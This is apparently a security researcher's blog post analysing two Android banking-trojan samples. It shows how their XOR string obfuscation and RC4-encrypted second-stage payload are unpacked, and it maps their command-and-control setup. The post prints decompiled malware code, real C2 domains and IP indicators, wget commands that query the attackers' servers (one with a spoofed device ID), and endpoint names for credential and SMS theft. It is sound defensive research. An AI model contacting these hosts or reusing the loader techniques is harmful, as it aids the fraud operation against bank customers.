As any development project, malwares follow a continuous improvement process and get updated quite often. For instance the latest features now include some French banks support since May 2022.
In order to get a fresh insight about similar Android banking malware families, two samples have been studied:
106ee77ee0766d14d608cbecaf224cb78df96798da80019c663658497155bd4d
(“com.cabin.float” package);576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6
(“com.sponsor.economy” package).The aim of this blog post is not to publish a full analysis report. It will instead only focus on key points which may help the reader to start the study of another sample. Existing documentation also provide useful starters:
The fact that the code may involve basic encryption with XOR operation can be a valid work hypothesis.
The Android application can be decompiled with freely available online tools such as https://www.decompiler.com/ or https://www.javadecompilers.com/. Then the source code can be scanned with usual commands:
$ grep --include "*.java" -nrl '\^' . ./sources/com/cabin/p000float/TJcYuNuLzDdTbCtLzHxFzIdEpMtRlDxBmCiOuFrZxPaYsLzRk.java ./sources/com/cabin/p000float/DLtWoUoAcFlFgHhSxYxLcFmIxAzCpOeBbEsJeHjBoIa.java ./sources/com/cabin/p000float/CYtFbPhWuRaQbIyZuJx.java
These files are full of functions such as:
public static String alarmconfirm() { int i = 1024; for (int i2 = 9; i2 < 41; i2++) { i = 1038; } byte[] bArr = {38, 56, 45, 38, 38, 40, 38, 42, 42, 61, 42, 61}; int i3 = -421; int i4 = (-421 - (5066 / i)) + 9510; byte[] bArr2 = new byte[12]; if (i == 500) { i = -5499169 - i4; } byte[] bArr3 = {78}; for (int i5 = 9; i5 < 10; i5++) { i4 = ((i - 60025) - -421) + 32320; } if (-421 == i4) { i3 = ((i4 + 9) + 6) - i; } if (i <= i4) { i = (79116 - (i4 * i3)) - 91782; } for (int i6 = 6; i6 < 8; i6++) { } int i7 = 0; while (i7 < 12) { int i8 = i + 42811; int i9 = 31 - i8; int i10 = i8 - (i9 * 78); bArr2[i7] = (byte) (((((((i8 - i9) + i10) * 0) + bArr[i7]) + (((i10 / i10) / 1) ^ 1)) + (i10 % i10)) ^ bArr3[i7 % 1]); int i11 = i10 / 8096345; i7++; i = i10; } for (int i12 = 19; i12 < 47; i12++) { } return new String(bArr2); }
All theses kinds of functions share several common points:
Some parts of the code are useless. For instance:
int i = 1024; for (int i2 = 9; i2 < 41; i2++) { i = 1038; }
Can be reduced into:
int i = 1038;
Later, the i4
variable only depends on the i
variable, which is constant. So:
int i4 = (-421 - (5066 / i)) + 9510;
Can be reduced into:
int i4 = 9084;
And so on.
The most interesting line is:
bArr2[i7] = (byte) (((((((i8 - i9) + i10) * 0) + bArr[i7]) + (((i10 / i10) / 1) ^ 1)) + (i10 % i10)) ^ bArr3[i7 % 1]);
Which can be reduced with a few iterations:
bArr2[i7] = (byte) (((((((i8 - i9) + i10) * 0) + bArr[i7]) + (((i10 / i10) / 1) ^ 1)) + (i10 % i10)) ^ bArr3[i7 % 1]); bArr2[i7] = (byte) ((((0 + bArr[i7]) + ((1 / 1) ^ 1)) + 0) ^ bArr3[i7 % 1]); bArr2[i7] = (byte) ((((0 + bArr[i7]) + 0) + 0) ^ bArr3[i7 % 1]); bArr2[i7] = (byte) (bArr[i7] ^ bArr3[i7 % 1]);
At the end, the alarmconfirm()
function is quite simple:
public static String alarmconfirm() { byte[] bArr = {38, 56, 45, 38, 38, 40, 38, 42, 42, 61, 42, 61}; byte[] bArr3 = {78}; int i7 = 0; while (i7 < 12) { bArr2[i7] = (byte) (bArr[i7] ^ bArr3[i7 % 1]); i7++; } return new String(bArr2); }
It is a basic string decryption from bArr
into bArr2
with a XOR operation and a hardcoded key stored inbArr3
.
A small Python snippet reproduces the Java code behavior:
from itertools import cycle encrypted = bytes([ 38, 56, 45, 38, 38, 40, 38, 42, 42, 61, 42, 61 ]) key = bytes([ 78 ]) decrypted = bytes([ x ^ y for x, y in zip(encrypted, cycle(key))]).decode('utf8') print(decrypted) hvchhfhddsds
With the help of Shell commands, all the useful data for generating a global decryptor can be retrieved:
$ egrep -e ' public static String | byte\[\] bArr = | byte\[\] bArr3 = ' sources/com/cabin/p000float/DLtWoUoAcFlFgHhSxYxLcFmIxAzCpOeBbEsJeHjBoIa.java public static String casualsign() { byte[] bArr = {102, 91, 76, 67, 79, 75, 65, 109, 82, 86, 102, 71, 90}; byte[] bArr3 = {34}; public static String claimenvelope() { byte[] bArr = {102, 43, 126, 117, 42, 115, 99, 107, 123, 119, 53, 52, 68, 42, 116, 115, 32, 98, 115, 12, 119, 119, 41}; byte[] bArr3 = {7, 69, 26}; public static String crackroom() { byte[] bArr = {115, 58, 91, 98, 104, 86, 102, 59, 86, 39, 61, 78}; byte[] bArr3 = {7, 72, 62}; [...]
The [decryptor.py]() Python script summarizes all the decrypted found strings inside the three Java files:
$ python3 ./decryptor.py casualsign(): DynamicOptDex claimenvelope(): android.app.ContextImpl crackroom(): tree hash up dependawake(): mAllApplications detailenable(): attach elevatorkite(): mApplication gingerfade(): mOuterContext hirefine(): ok replace string bitch hoversing(): mInitialApplication immensebetray(): mActivityThread leisurewet(): FINO.json natureyouth(): elevation actor tank obscurebuzz(): mPackageInfo omitcolumn(): android.app.ActivityThread peanutugly(): check the main aim proofspirit(): com.sdktools.android.App saddleunfair(): story repeats successpattern(): android.app.LoadedApk thingmisery(): DynamicLib alarmconfirm(): hvchhfhddsds assaulttongue(): vcosdYYDSHDnncx cannonsample(): open [...]
The whole code needs some refactoring at this step.
For instance, the casualsign()
function is called by levelpurity()
:
static String levelpurity(int[] iArr) { return casualsign(); }
The levelpurity()
function initializes the GCiJgIeWjUfTdXaSrTnKnKuNrUgWqFfLeHqMd
class variable:
String GCiJgIeWjUfTdXaSrTnKnKuNrUgWqFfLeHqMd = levelpurity(new int[5]);
Which is used in:
public File gorillachuckle(Context context) { this.ahEnopymAwwfMkgXFrJRK_744299 = ((this.ZwBeoMdRaUhUGBOmSjDdY_839169 + this.aQkTOJIcQgfWakachlacw_458964) - 99) + 99; return context.getDir(this.GCiJgIeWjUfTdXaSrTnKnKuNrUgWqFfLeHqMd, 0); }
With garbage removed, the gorillachuckle()
function is translated into:
public File gorillachuckle(Context context) { return context.getDir("DynamicOptDex", 0); }
This last function is called from attachBaseContext()
:
public void attachBaseContext(Context context) { [...] String crucialamateur = crucialamateur(gorillachuckle(this.UMwCgEcYsCrTeMjRaGbAhZlWhErSiAtLu)); [...] }
The definition of crucialamateur()
is:
public String crucialamateur(File file) { if (file.canWrite()) { for (int i = 0; i < 12; i++) { this.ahEnopymAwwfMkgXFrJRK_744299 = this.aQkTOJIcQgfWakachlacw_458964 + 0 + this.gHsFJZQlqMDObEYiQIQBW_87005 + 105; } } return file.getAbsolutePath(); }
So at the end, a lot of functions can be wiped and the initial call can be reduced into:
public void attachBaseContext(Context context) { [...] String crucialamateur = context.getDir("DynamicOptDex", 0).getAbsolutePath(); [...] }
The same process has to be applied to each obfuscation site.
The final cleaned Java sources are available on the Risk&Co’s Github.
By browsing the new code, one can notice that a FINO.json
file is involved:
public void attachBaseContext(Context context) { super.attachBaseContext(context); this.myCtx = context; String crucialamateur = this.myCtx.getDir("DynamicOptDex", 0).getAbsolutePath(); String slowtrade = new File(crucialamateur, "FINO.json"); boolean croppresent = croppresent(slowtrade); if (croppresent) { StringBuffer stringBuffer = new StringBuffer(); if (croppresent) { placecharge(slowtrade, crucialamateur, stringBuffer, this.myCtx); } } }
This file seems encrypted:
$ file assets/FINO.json assets/FINO.json: data
This encryption is confirmed by a high level of entropy, as reported by binwalk
:
Here is a clean definition of the croppresent()
function:
public boolean croppresent(String str) { try { this.myCtx = Context.class.newInstance(); } catch (Exception unused) { } return cYtFbPhWuRaQbIyZuJx.mulelounge(str, this.myCtx, "FINO.json"); }
Inside the CYtFbPhWuRaQbIyZuJx
class, the mulelounge()
function is only a wrapper:
public boolean mulelounge(String str, Context context, String str2) { return underdiffer(str, context, str2); }
public boolean underdiffer(String str, Context context, String str2) { String str3 = str2; try { Class<File> cls = File.class; Constructor<BufferedInputStream> constructor = BufferedInputStream.class.getConstructor(new Class[]{InputStream.class}); byte[] bArr = new byte[3145728]; AssetManager weaselshove = AssetManager.class.newInstance(); Method bannersoldier = bannersoldier(weaselshove); bannersoldier.invoke(weaselshove, new Object[]{str3}); Method generalreview = context.getClass().getMethod("getAssets", (Class<?>[]) null); generalreview.setAccessible(true); AssetManager assetManager = (AssetManager)generalreview.invoke(context, (Object[]) null); Method veteranproblem = veteranproblem(assetManager); veteranproblem.setAccessible(true); Constructor creekbaby = creekbaby(cls); File soccershadow = soccershadow(creekbaby, str); BufferedInputStream newInstance = constructor.newInstance(new Object[]{intactconfirm(veteranproblem, assetManager, str3)}); BufferedOutputStream feelbird = feelbird(soccershadow); while (true) { int amusedbaby = amusedbaby(newInstance, bArr); if (amusedbaby < 0) { break; } dawninitial(feelbird, bArr, amusedbaby); } byte[] bArr2 = new byte[diamondpear(soccershadow)]; prioritycube(soccershadow, bArr2); __write_to_file(cropend(bArr2), solidagain(soccershadow)); bArr2.getClass().getComponentType(); File fileStreamPath = context.getFileStreamPath(str2); fileStreamPath.getClass().getPackage(); believediesel(fileStreamPath.toString(), soccershadow.getAbsolutePath()); if (newInstance != null) { feelsleep(newInstance); } if (feelbird == null) { return true; } imagedescribe(feelbird); return true; } catch (Exception unused) { return false; } }
The 3145728-byte length is an arbitrary 3Mb size.
Reading the code further leads to understand that the FINO.json
content gets read and processed before being written to another location.
Following the code flow allows to follow the data processing:
public byte[] cropend(byte[] bArr) { return enterreal(bArr); } public byte[] enterreal(byte[] bArr) { byte[] bArr2 = bArr; Method generalreview = String.class.getMethod("getClass", (Class<?>[]) null); generalreview.setAccessible(true); Method generalreview2 = (Class)generalreview.invoke("pcSXre", (Object[]) null).getMethod("getBytes", (Class<?>[]) null); byte[] bArr3 = (byte[])generalreview2.invoke("pcSXre", (Object[]) null); MGjMtKwKeMtUaLzWqSjOzSpUtRz = legalcash(bArr3); byte[] bArr4 = new byte[((int) Math.floor((double) bArr2.length))]; int[] iArr = MGjMtKwKeMtUaLzWqSjOzSpUtRz; for (int i3 = 0; ((double) i3) < Math.ceil((double) bArr2.length); i3++) { int shallowkick = shallowkick('b', 5222, iArr, i10); int shallowkick2 = shallowkick('z', 1544545, iArr, i11); int i14 = iArr[(shallowkick + shallowkick2) % 256]; bArr4[i3] = categoryweb(((Math.round((float) i14) + 1) - 1) ^ bArr2[i3]); } return bArr4; }
The raw initial version of the legalcash()
function is this one:
private int[] legalcash(byte[] bArr) { this.AftKupYbYErcX_817034 = (this.BNUeYTXUwHrNC_550594 - (this.RHEJzXlPpiJEc_905989 / 868117)) + 78513; int[] iArr = new int[(StrictMath.max(100, 0) + 100 + 56)]; this.RHEJzXlPpiJEc_905989 = this.AftKupYbYErcX_817034 + 2084300 + (this.BNUeYTXUwHrNC_550594 * 9612647); for (int i = 0; ((double) i) < StrictMath.cbrt(1.6777216E7d); i++) { iArr[i] = i; } int length = bArr.length; this.BNUeYTXUwHrNC_550594 = ((this.RHEJzXlPpiJEc_905989 / 542498) - this.AftKupYbYErcX_817034) - 182530; int i2 = 0; for (int i3 = 0; i3 < 256; i3++) { this.RHEJzXlPpiJEc_905989 = (60 / this.BNUeYTXUwHrNC_550594) - (this.AftKupYbYErcX_817034 * 89); this.BNUeYTXUwHrNC_550594 = (this.AftKupYbYErcX_817034 - (this.RHEJzXlPpiJEc_905989 * 3343740)) + 1656857; i2 = gaslittle(i2 + ((int) StrictMath.floor((double) shallowkick('d', 124545, iArr, i3))) + laptopgap(bArr, i3 % length) + ((int) StrictMath.sqrt(65536.0d)), StrictMath.max(-159000, 256)); this.AftKupYbYErcX_817034 = (97 - (this.RHEJzXlPpiJEc_905989 / 50)) + this.BNUeYTXUwHrNC_550594; alleyrude(i3, i2, iArr); } this.RHEJzXlPpiJEc_905989 = (95 - this.AftKupYbYErcX_817034) + (this.BNUeYTXUwHrNC_550594 * 36); return iArr; }
Once cleaned, the RC4 Key-scheduling algorithm appears:
private int[] legalcash(byte[] bArr) { int[] iArr = new int[256]; for (int i = 0; 256; i++) { iArr[i] = i; } int length = bArr.length; int i2 = 0; for (int i3 = 0; i3 < 256; i3++) { i2 = i2 + ((int) StrictMath.floor((double) iArr[i3])) + bArr[i3 % length] + 256 % 256; __permute(i3, i2, iArr); } return iArr; }
The key is provided via the bArr
argument by the caller. It can be recovered by reading the code leading to the KSA, and the second stage can be decrypted:
$ python3 unrc4.py resources/assets/FINO.json pcSXre $ file resources/assets/FINO.json.plain resources/assets/FINO.json.plain: Zip archive data, at least v2.0 to extract, compression method=deflate
The second stage Dex file from the 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6
sample can be extracted using the same method:
$ python3 unrc4.py resources/assets/kQTUiw.json cXXZ $ file resources/assets/kQTUiw.json.plain resources/assets/kQTUiw.json.plain: Zip archive data, at least v2.0 to extract, compression method=deflate
The current C2 server is commonly retrieved with basic commands:
$ wget -qO /dev/stdout https://gist.githubusercontent.com/haluktatar2222/684a2f118b77318c118954abaef9b15d/raw/fb26304c079d08452b50ca78257a65425d69f550/helloworld.json | base64 -d ; echo {"domains":["http://falakkaufman3.top"]}
As the gist is public, some insights about the domain rotation pace are publicly available:
$ git clone https://gist.github.com/684a2f118b77318c118954abaef9b15d.git Cloning into '684a2f118b77318c118954abaef9b15d'... remote: Enumerating objects: 214, done. remote: Counting objects: 100% (15/15), done. remote: Compressing objects: 100% (10/10), done. remote: Total 214 (delta 0), reused 0 (delta 0), pack-reused 199 Receiving objects: 100% (214/214), 20.42 KiB | 5.11 MiB/s, done. Resolving deltas: 100% (1/1), done. $ cd 684a2f118b77318c118954abaef9b15d/ $ git lg * 27cf366 - (HEAD -> main, origin/main, origin/HEAD) (14 hours ago) <haluktatar2222> * 52b026a - (27 hours ago) <haluktatar2222> * aaea266 - (2 days ago) <haluktatar2222> * 36576ef - (2 days ago) <haluktatar2222> * 7009d3d - (3 days ago) <haluktatar2222> * df3bdaa - (5 days ago) <haluktatar2222> * 2908e1f - (9 days ago) <haluktatar2222> * a8ac0b1 - (9 days ago) <haluktatar2222> * f1c308e - (11 days ago) <haluktatar2222> * 42fbd00 - (11 days ago) <haluktatar2222> * cce96ea - (12 days ago) <haluktatar2222> * 077c201 - (12 days ago) <haluktatar2222> * d4cfa91 - (13 days ago) <haluktatar2222> [...]
The gist is updated quite often: 71 times in three months.
For the 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6
sample, the list of active base URLs can be retrieved with a query to one server:
$ wget -q http://hhgfdfttt.xyz/api/mirrors -O /dev/stdout | base64 -d | jq { "domains": [ "http://wersdeeeser.top", "http://ddknewdd.shop", "https://dimkahello.xyz", "http://hgjhfyft.xyz", "http://qdjwqeh.xyz", "http://h6ghhfg.online", "http://dfgdfgerger.online", "http://hjgyffffylive.xyz", "http://hhgfdfttt.xyz", "http://ygfytttree.online" ] } $ head -8 ./sources/com/sdktools/android/AdminPanelUrls.java package com.sdktools.android; public enum AdminPanelUrls { ADMIN_PANEL_URLS_1("https://babosiki.buzz"), ADMIN_PANEL_URLS_2("https://trustpoopin.xyz"), ADMIN_PANEL_URLS_3("https://trygotii.xyz"), ADMIN_PANEL_URLS_4("https://trytogoi.xyz");
All these domains are down at the time of writing except the last one, which is sinkholed.
As it is less obfuscated, the 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6
sample provides a glimpse of the malware features through its endpoint suffixes:
$ grep -nr makeGet sources/com/sdktools/android/ | grep '"' | sed 's#.*makeGet(\("[^"]*"\).*#\1#' | sort | uniq "device/check" "http://ip-api.com/json" $ grep -nr makePost sources/com/sdktools/android/ | grep '"' | sed 's#.*makePost(\("[^"]*"\).*#\1#' | sort | uniq "device" "device/cookie" "device/credentials" "device/kl" "device/lock" "device/notification" "device/push" "device/push-state" "device/read-sms" "device/save-phone" "device/save-pin" "device/screen" "device/server-log" "device/sms" "device/sms-admin" "device/tw-status" "device/ussd-run"
The 106ee77ee0766d14d608cbecaf224cb78df96798da80019c663658497155bd4d
sample handles most of these endpoints too.
Some HTTP requests require an authorization header in order to be processed. The expected value for this field is an Android ID, which can be faked:
$ wget http://falakkaufman3.top/api/v1/device/check?screen=true --header 'Authorization: XXX' -O /dev/stdout | jq
One can notice some parts of the execution depend on the current language:
public boolean a() { return !("US".equalsIgnoreCase(this.f189b) || "RU".equalsIgnoreCase(this.f189b)); }
if (getResources().getConfiguration().locale.getLanguage().equals("ru")) { a(); return; }
More over, the C2 panel homepage is titled вход, which means entrance in Russian.
All of these items may be hints to target the threat actor country.
IP address
79.110.62.198
Files
106ee77ee0766d14d608cbecaf224cb78df96798da80019c663658497155bd4d
576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6